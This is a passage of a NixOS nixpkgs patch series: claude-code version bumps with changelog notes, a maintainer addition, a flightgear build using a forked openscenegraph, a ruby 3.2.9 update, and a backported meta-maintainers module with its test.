- UI: Enhanced spinner animations and status line visual hierarchy
- Linux: Added support for Alpine and musl-based distributions (requires separate ripgrep installation)

(cherry picked from commit 60fe5fa0410150035d488199eb03b82770dcb5dd)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index cb8e32a0263f..818ab1320c08 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.72"
+        "@anthropic-ai/claude-code": "^1.0.73"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.72",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.72.tgz",
-      "integrity": "sha512-nA/l/xKX4sgOE0Y6P3o6czNGQqlyqJPjs9CHFxantsmyKvOot9VlRW4AiEAn42hQrZReCXeSnt8LOMx9ev7Erg==",
+      "version": "1.0.73",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.73.tgz",
+      "integrity": "sha512-UVBkta/BWy49xR9fgi/Oy2tl7p/k+lOCinv21zSK/E9KB4JObAAZ1BAOWteu4fhv7gs3Ipfev5r6yo3OplmwNg==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 059acc52ad0b..acc7c63f01d4 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.72";
+  version = "1.0.73";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-1vIElqZ5sk62o1amdfOqhmSG4B5wzKWDLcCgvQO4a5o=";
+    hash = "sha256-DdNMgKiGA4NjBAqes3hsWLouvcgtDDFnBWdNGpRgSV4=";
   };
 
-  npmDepsHash = "sha256-LkQf2lW6TM1zRr10H7JgtnE+dy0CE7WCxF4GhTd4GT4=";
+  npmDepsHash = "sha256-PYACkrv/8d4StNaM6QYaIgjrD6rL0N6cc08wagcga+A=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 0f4a82a88a9ee79b19c984ba239ef211fe78afd8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 12 Aug 2025 18:01:09 +0000
Subject: [PATCH 3781/4511] claude-code: 1.0.73 -> 1.0.74

(cherry picked from commit 4e04aa6b191aa9f1420dd257ecc7ec8972df2aa2)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 818ab1320c08..8ee2e3234e67 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.73"
+        "@anthropic-ai/claude-code": "^1.0.74"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.73",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.73.tgz",
-      "integrity": "sha512-UVBkta/BWy49xR9fgi/Oy2tl7p/k+lOCinv21zSK/E9KB4JObAAZ1BAOWteu4fhv7gs3Ipfev5r6yo3OplmwNg==",
+      "version": "1.0.74",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.74.tgz",
+      "integrity": "sha512-Iahs887b3Zdk6xWkb+qDgz178nOWqfse35Ten2l+oOQqeS1A7Ct14BPZuQmLiWtkoSZxqFAsee3Gp+ITfPicrw==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index acc7c63f01d4..acd6485d4b1c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.73";
+  version = "1.0.74";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-DdNMgKiGA4NjBAqes3hsWLouvcgtDDFnBWdNGpRgSV4=";
+    hash = "sha256-cjiW39n74BV+s1ZKf/kgZVAg02XGWsoVfdzwPxuwe3g=";
   };
 
-  npmDepsHash = "sha256-PYACkrv/8d4StNaM6QYaIgjrD6rL0N6cc08wagcga+A=";
+  npmDepsHash = "sha256-z+ZU8rT0rKcWxG4fZut7rA2rChVdyOyCw62+CNNObZU=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 2af0d9c000b30cc8f3ea6568bf71debfa730b938 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 14 Aug 2025 07:57:38 +0200
Subject: [PATCH 3782/4511] claude-code: 1.0.74 -> 1.0.80

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md
(cherry picked from commit 8f8aadc2d4c1ce1f858fd8b059b5dd14deae2b2a)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 8ee2e3234e67..42f51ee7611e 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.74"
+        "@anthropic-ai/claude-code": "^1.0.80"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.74",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.74.tgz",
-      "integrity": "sha512-Iahs887b3Zdk6xWkb+qDgz178nOWqfse35Ten2l+oOQqeS1A7Ct14BPZuQmLiWtkoSZxqFAsee3Gp+ITfPicrw==",
+      "version": "1.0.80",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.80.tgz",
+      "integrity": "sha512-OpJb8LZBYuQ21lmT71c65NwUKGtQiva8dyKmCIPWnRIXHDaZ/31zzpDqcxgONUKUiZrnHqoMXwEwWyPyhD0+dA==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index acd6485d4b1c..1e7bedb33ad1 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.74";
+  version = "1.0.80";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-cjiW39n74BV+s1ZKf/kgZVAg02XGWsoVfdzwPxuwe3g=";
+    hash = "sha256-o7fG0LnTR7fGxq4VP5393tcQZi0JtPOF8Gb2cUAsevA=";
   };
 
-  npmDepsHash = "sha256-z+ZU8rT0rKcWxG4fZut7rA2rChVdyOyCw62+CNNObZU=";
+  npmDepsHash = "sha256-9eVpQfcdiLyL6LWcBuVrd6XHQC5caZS9m8sNy9kaRyQ=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 075a240cc4ed317eefe709c9e515e2688cad4198 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Thu, 14 Aug 2025 19:51:38 +0200
Subject: [PATCH 3783/4511] claude-code: 1.0.80 -> 1.0.81

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Released output styles, including new built-in educational output styles "Explanatory" and "Learning"
- Plugin system improvements for repository installation messaging and error handling
- Agents: Fixed an issue with custom agent loading when agent files are unparsable

(cherry picked from commit 1a3a9cc46a8c818478ed41ae3d684c6107f46adc)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 42f51ee7611e..353870a77662 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.80"
+        "@anthropic-ai/claude-code": "^1.0.81"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.80",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.80.tgz",
-      "integrity": "sha512-OpJb8LZBYuQ21lmT71c65NwUKGtQiva8dyKmCIPWnRIXHDaZ/31zzpDqcxgONUKUiZrnHqoMXwEwWyPyhD0+dA==",
+      "version": "1.0.81",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.81.tgz",
+      "integrity": "sha512-kiRgAhQ2vuodkHDAZjuR0aaNchl9SZLq0QF46JKsOw0Ik1eyEN0tdsF++AV//Ub1j4iS1fGIrU10uE7aqFfKYw==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 1e7bedb33ad1..56d3f2400f03 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.80";
+  version = "1.0.81";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-o7fG0LnTR7fGxq4VP5393tcQZi0JtPOF8Gb2cUAsevA=";
+    hash = "sha256-MTugT72wrsUHQHUYx6HZPoE4kt1krYOhfNSSoOc/GjI=";
   };
 
-  npmDepsHash = "sha256-9eVpQfcdiLyL6LWcBuVrd6XHQC5caZS9m8sNy9kaRyQ=";
+  npmDepsHash = "sha256-1GBwoximrwJX5F7lp5KUXtt6uPABta8FBbYYoJ2Y7x8=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 9a08507f38232ce9f7a99e35c73d187291c229d1 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Sat, 16 Aug 2025 09:27:10 +0200
Subject: [PATCH 3784/4511] claude-code: 1.0.81 -> 1.0.83

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

Changes in 1.0.82:
- SDK: Added request cancellation support
- SDK: New "additionalDirectories" option to search custom paths, improved slash command processing
- Settings: Validation prevents invalid fields in .claude/settings.json files
- MCP: Improved tool name consistency
- Bash: Fixed crash when Claude tries to automatically read large files

Changes in 1.0.83:
- Minor release (changelog details not yet available)

(cherry picked from commit 31d32a7f46a197f6a3122ffe4e43e71256ecbc20)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 353870a77662..de3b3cdaad1d 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.81"
+        "@anthropic-ai/claude-code": "^1.0.83"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.81",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.81.tgz",
-      "integrity": "sha512-kiRgAhQ2vuodkHDAZjuR0aaNchl9SZLq0QF46JKsOw0Ik1eyEN0tdsF++AV//Ub1j4iS1fGIrU10uE7aqFfKYw==",
+      "version": "1.0.83",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.83.tgz",
+      "integrity": "sha512-Mm+88khPbg9eAUbrWGirigWeC4xu2hH0ns3+lnfKWX3e8RJDOV9vnCHjzbEIVXvvvw1YmeIO7TxsFk5/MVuhGA==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 56d3f2400f03..74ac60f8169c 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.81";
+  version = "1.0.83";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-MTugT72wrsUHQHUYx6HZPoE4kt1krYOhfNSSoOc/GjI=";
+    hash = "sha256-h6bAP6nMifQ6cfM80A1QxSYM53LYbEX1WsyPiNPby0M=";
   };
 
-  npmDepsHash = "sha256-1GBwoximrwJX5F7lp5KUXtt6uPABta8FBbYYoJ2Y7x8=";
+  npmDepsHash = "sha256-vxy4FvwEQrtrVzlfmZCY8EDC22yG04GYzBrN0U65gsw=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From c5d1bca4c65879075b021bac4b1aa6d67c187554 Mon Sep 17 00:00:00 2001
From: Markus Hauck <markus1189@gmail.com>
Date: Tue, 19 Aug 2025 08:41:24 +0200
Subject: [PATCH 3785/4511] claude-code: 1.0.83 -> 1.0.84

Changelog: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md

- Fixed tool use/tool result ID mismatch error during unstable network conditions
- Addressed issue where Claude sometimes ignored real-time steering when completing tasks
- Enhanced @-mention functionality by adding ~/.claude/* files to suggestions for easier editing
- Now using built-in ripgrep by default (can be disabled with USE_BUILTIN_RIPGREP=0)

(cherry picked from commit 4f0507beb09d643394ec170dbe18a9ecf1d4c93c)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index de3b3cdaad1d..fdef0f99a316 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -6,13 +6,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.83"
+        "@anthropic-ai/claude-code": "^1.0.84"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.83",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.83.tgz",
-      "integrity": "sha512-Mm+88khPbg9eAUbrWGirigWeC4xu2hH0ns3+lnfKWX3e8RJDOV9vnCHjzbEIVXvvvw1YmeIO7TxsFk5/MVuhGA==",
+      "version": "1.0.84",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.84.tgz",
+      "integrity": "sha512-+Qu+z1jTdZPu0UL4dalntkofDGL0BgWqs6XmRlq+RuxurHJy58zKae4PL8naevrkbgazauIPYDDGmHF3u+B0uQ==",
       "license": "SEE LICENSE IN README.md",
       "bin": {
         "claude": "cli.js"
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 74ac60f8169c..0d3e0095f840 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.83";
+  version = "1.0.84";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-h6bAP6nMifQ6cfM80A1QxSYM53LYbEX1WsyPiNPby0M=";
+    hash = "sha256-Uu6K2Fq4MT0jb4GsAaHo0UbjnK2bXxjQEjND3ftcFMo=";
   };
 
-  npmDepsHash = "sha256-vxy4FvwEQrtrVzlfmZCY8EDC22yG04GYzBrN0U65gsw=";
+  npmDepsHash = "sha256-G1Jrjds7Il+gmQ5SYRgbW3faB2gJd3x0r576IGwFNys=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 27c7bb1b4530722824216088e2721e8a5b53b4b6 Mon Sep 17 00:00:00 2001
From: Omar Jatoi <git@omarjatoi.com>
Date: Wed, 18 Jun 2025 19:52:05 -0400
Subject: [PATCH 3786/4511] maintainers: add omarjatoi

(cherry picked from commit d353bd94f7bbbb30206a33092607fbdba549ceb7)
---
 maintainers/maintainer-list.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 194a376da549..c1e5bbdb24a2 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -18369,6 +18369,11 @@
     githubId = 4728903;
     name = "Owen Lynch";
   };
+  omarjatoi = {
+    github = "omarjatoi";
+    githubId = 9091609;
+    name = "Omar Jatoi";
+  };
   omasanori = {
     github = "omasanori";
     githubId = 167209;

From 6e08fa3d0fd6890168de2df364e741267add260b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 21 Aug 2025 07:00:29 +0000
Subject: [PATCH 3787/4511] lock: 1.7.1 -> 1.7.3

(cherry picked from commit ade9139165e7ea46e164972b65455514cb27cc2d)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 9bb3dda26a7f..82d4a4b955c5 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.7.1";
+  version = "1.7.3";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-RYsdULExsLLp0NDa3OAf52H+WIypYZT2AUci0ytwHNw=";
+    hash = "sha256-NxSw77GpcLoLfbD46QECORdJKWBfWS8zQE+SU3J9GK8=";
   };
 
   strictDeps = true;

From 849eb9d065a1ec0303df681a4e5867c6f88c83be Mon Sep 17 00:00:00 2001
From: Guillaume Matheron <guillaume+github@matheron.eu>
Date: Fri, 8 Aug 2025 17:33:03 +0200
Subject: [PATCH 3788/4511] flightgear: use forked openscenegraph

As discussed on https://gitlab.com/flightgear/flightgear/-/issues/3106 ,
version 2024.1.1 of lfightgear should be compiled against a version of
openscenegraph that was forked from the main project.

This fork includes several fixes such as
https://gitlab.com/flightgear/openscenegraph/-/commit/724ff2ef687d84b266402724239f61a392d36f4c .

(cherry picked from commit d03caf08fd5d86dac822c3916777a018cb1e65a1)
---
 pkgs/games/flightgear/default.nix             |  9 +-
 .../flightgear/openscenegraph-flightgear.nix  | 93 +++++++++++++++++++
 2 files changed, 97 insertions(+), 5 deletions(-)
 create mode 100644 pkgs/games/flightgear/openscenegraph-flightgear.nix

diff --git a/pkgs/games/flightgear/default.nix b/pkgs/games/flightgear/default.nix
index 4bd4cbfab7ff..42c793c335b6 100644
--- a/pkgs/games/flightgear/default.nix
+++ b/pkgs/games/flightgear/default.nix
@@ -3,6 +3,7 @@
   stdenv,
   fetchFromGitLab,
   wrapQtAppsHook,
+  callPackage,
   libglut,
   freealut,
   libGLU,
@@ -10,7 +11,6 @@
   libICE,
   libjpeg,
   openal,
-  openscenegraph,
   plib,
   libSM,
   libunwind,
@@ -55,6 +55,7 @@ let
       cp ${src}/* -a "$out/share/FlightGear/"
     '';
   };
+  openscenegraph = callPackage ./openscenegraph-flightgear.nix { };
 in
 stdenv.mkDerivation rec {
   pname = "flightgear";
@@ -90,7 +91,7 @@ stdenv.mkDerivation rec {
     libXi
     libXmu
     libXt
-    simgear
+    (simgear.override { openscenegraph = openscenegraph; })
     zlib
     boost
     libpng
@@ -104,9 +105,7 @@ stdenv.mkDerivation rec {
     curl
   ];
 
-  qtWrapperArgs = [
-    "--set FG_ROOT ${data}/share/FlightGear"
-  ];
+  qtWrapperArgs = [ "--set FG_ROOT ${data}/share/FlightGear" ];
 
   meta = with lib; {
     description = "Flight simulator";
diff --git a/pkgs/games/flightgear/openscenegraph-flightgear.nix b/pkgs/games/flightgear/openscenegraph-flightgear.nix
new file mode 100644
index 000000000000..a1440f4dd253
--- /dev/null
+++ b/pkgs/games/flightgear/openscenegraph-flightgear.nix
@@ -0,0 +1,93 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitLab,
+  pkg-config,
+  cmake,
+  doxygen,
+  fetchpatch,
+  fetchurl,
+  glib,
+  libxml2,
+  pcre,
+  zlib,
+  libjpeg,
+  giflib,
+  libtiff,
+  libpng,
+  curl,
+  freetype,
+  boost,
+  libGLU,
+  libGL,
+  libX11,
+  libXinerama,
+  libXrandr,
+}:
+
+stdenv.mkDerivation rec {
+  pname = "openscenegraph";
+  version = "2024-build";
+
+  src = fetchFromGitLab {
+    owner = "flightgear";
+    repo = "openscenegraph";
+    # release/2024-build as of 2025-08-08
+    rev = "a4ea8ec535cc969e31e2026b13be147dcb978689";
+    sha256 = "sha256-wnxm4G40j2e6Paqx0vfAR4s4L7esfCHcgxUJWNxk1SM=";
+  };
+
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    doxygen
+  ];
+
+  buildInputs =
+    lib.optionals (!stdenv.hostPlatform.isDarwin) [
+      libX11
+      libXinerama
+      libXrandr
+      libGLU
+      libGL
+    ]
+    ++ [
+      glib
+      libxml2
+      pcre
+      zlib
+      libjpeg
+      giflib
+      libtiff
+      libpng
+      curl
+      freetype
+      boost
+    ];
+
+  patches = [
+    (fetchpatch {
+      name = "opencascade-api-patch";
+      url = "https://github.com/openscenegraph/OpenSceneGraph/commit/bc2daf9b3239c42d7e51ecd7947d31a92a7dc82b.patch";
+      hash = "sha256-VR8YKOV/YihB5eEGZOGaIfJNrig1EPS/PJmpKsK284c=";
+    })
+    # Fix compiling with libtiff when libtiff is compiled using CMake
+    (fetchurl {
+      url = "https://github.com/openscenegraph/OpenSceneGraph/commit/9da8d428f6666427c167b951b03edd21708e1f43.patch";
+      hash = "sha256-YGG/DIHU1f6StbeerZoZrNDm348wYB3ydmVIIGTM7fU=";
+    })
+  ];
+
+  cmakeFlags = [ "-DBUILD_OSG_APPLICATIONS=OFF" ];
+
+  meta = with lib; {
+    description = "3D graphics toolkit";
+    homepage = "http://www.openscenegraph.org/";
+    maintainers = with maintainers; [
+      aanderse
+      raskin
+    ];
+    platforms = with platforms; linux ++ darwin;
+    license = "OpenSceneGraph Public License - free LGPL-based license";
+  };
+}

From 359f951ea7bd8b3f8f207d2ee9bb08113c33c457 Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Tue, 19 Aug 2025 16:49:36 +1000
Subject: [PATCH 3789/4511] ruby_3_2: 3.2.8 -> 3.2.9

Release: https://www.ruby-lang.org/en/news/2025/07/24/ruby-3-2-9-released/
(cherry picked from commit 9d719a32ef9b1d7dc36a9097767e4e3d995ceeb1)
---
 pkgs/development/interpreters/ruby/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix
index af5d523e3d08..63418356da39 100644
--- a/pkgs/development/interpreters/ruby/default.nix
+++ b/pkgs/development/interpreters/ruby/default.nix
@@ -420,8 +420,8 @@ in
   };
 
   ruby_3_2 = generic {
-    version = rubyVersion "3" "2" "8" "";
-    hash = "sha256-d6zdjPu+H45XO15lNuA8UQPfmJ3AX6aMcPARgzw1YHU=";
+    version = rubyVersion "3" "2" "9" "";
+    hash = "sha256-q7rZjbmusVJ3Ow01ho5QADuMRn89BhUld8Tf7Z2I7So=";
     cargoHash = "sha256-CMVx5/+ugDNEuLAvyPN0nGHwQw6RXyfRsMO9I+kyZpk=";
   };
 

From 02a696bccd681ae5ea5538f300d6fca493b99d02 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 21 Aug 2025 11:04:15 +0200
Subject: [PATCH 3790/4511] ci,modules: Backport additions of #431450

Reason: keep ci directory in sync
- https://github.com/NixOS/nixpkgs/pull/431450#issuecomment-3209546418

This requires that we have a modules directory, in which case the
easy and robust solution is to only port the addition parts of the refactor.
It's about as easy as a .keep file, but more useful.

This means that some duplication is created, but we avoid backporting the
changes to the documentation generation, which is a somewhat complex
component I'd rather not touch until these changes have been proven out
on unstable.
---
 ci/eval/default.nix                       |  1 +
 modules/README.md                         |  9 ++++
 modules/generic/meta-maintainers.nix      | 63 +++++++++++++++++++++++
 modules/generic/meta-maintainers/test.nix | 34 ++++++++++++
 4 files changed, 107 insertions(+)
 create mode 100644 modules/README.md
 create mode 100644 modules/generic/meta-maintainers.nix
 create mode 100644 modules/generic/meta-maintainers/test.nix

diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 2b7f59ae6b43..363804cce716 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -30,6 +30,7 @@ let
           "doc"
           "lib"
           "maintainers"
+          "modules"
           "nixos"
           "pkgs"
           ".version"
diff --git a/modules/README.md b/modules/README.md
new file mode 100644
index 000000000000..777ab9839949
--- /dev/null
+++ b/modules/README.md
@@ -0,0 +1,9 @@
+# `<nixpkgs>/modules`
+
+This directory hosts subdirectories representing each module [class](https://nixos.org/manual/nixpkgs/stable/#module-system-lib-evalModules-param-class) for which the `nixpkgs` repository has user-importable modules.
+
+Exceptions:
+- `_class = "nixos";` modules go in the `<nixpkgs>/nixos/modules` tree
+- modules whose only purpose is to test code in this repository
+
+The emphasis is on _importable_ modules, i.e. ones that aren't inherent to and built into the Module System application.
diff --git a/modules/generic/meta-maintainers.nix b/modules/generic/meta-maintainers.nix
new file mode 100644
index 000000000000..fb66174cf621
--- /dev/null
+++ b/modules/generic/meta-maintainers.nix
@@ -0,0 +1,63 @@
+# Test:
+#   ./meta-maintainers/test.nix
+{ lib, ... }:
+let
+  inherit (lib)
+    mkOption
+    mkOptionType
+    types
+    ;
+
+  maintainer = mkOptionType {
+    name = "maintainer";
+    check = email: lib.elem email (lib.attrValues lib.maintainers);
+    merge = loc: defs: {
+      # lib.last: Perhaps this could be merged instead, if "at most once per module"
+      # is a problem (see option description).
+      ${(lib.last defs).file} = (lib.last defs).value;
+    };
+  };
+
+  listOfMaintainers = types.listOf maintainer // {
+    merge =
+      loc: defs:
+      lib.zipAttrs (
+        lib.flatten (
+          lib.imap1 (
+            n: def:
+            lib.imap1 (
+              m: def':
+              maintainer.merge (loc ++ [ "[${toString n}-${toString m}]" ]) [
+                {
+                  inherit (def) file;
+                  value = def';
+                }
+              ]
+            ) def.value
+          ) defs
+        )
+      );
+  };
+in
+{
+  _class = null; # not specific to NixOS
+  options = {
+    meta = {
+      maintainers = mkOption {
+        type = listOfMaintainers;
+        default = [ ];
+        example = lib.literalExpression ''[ lib.maintainers.alice lib.maintainers.bob ]'';
+        description = ''
+          List of maintainers of each module.
+          This option should be defined at most once per module.
+
+          The option value is not a list of maintainers, but an attribute set that maps module file names to lists of maintainers.
+        '';
+      };
+    };
+  };
+  meta.maintainers = with lib.maintainers; [
+    pierron
+    roberth
+  ];
+}
diff --git a/modules/generic/meta-maintainers/test.nix b/modules/generic/meta-maintainers/test.nix
new file mode 100644
index 000000000000..73a431c34327
--- /dev/null
+++ b/modules/generic/meta-maintainers/test.nix
@@ -0,0 +1,34 @@
+# Run:
+#   $ nix-instantiate --eval 'modules/generic/meta-maintainers/test.nix'
+#
+# Expected output:
+#   { }
+#
+# Debugging:
+#   drop .test from the end of this file, then use nix repl on it
+rec {
+  lib = import ../../../lib;
+
+  example = lib.evalModules {
+    modules = [
+      ../meta-maintainers.nix
+      {
+        _file = "eelco.nix";
+        meta.maintainers = [ lib.maintainers.eelco ];
+      }
+    ];
+  };
+
+  test =
+    assert
+      example.config.meta.maintainers == {
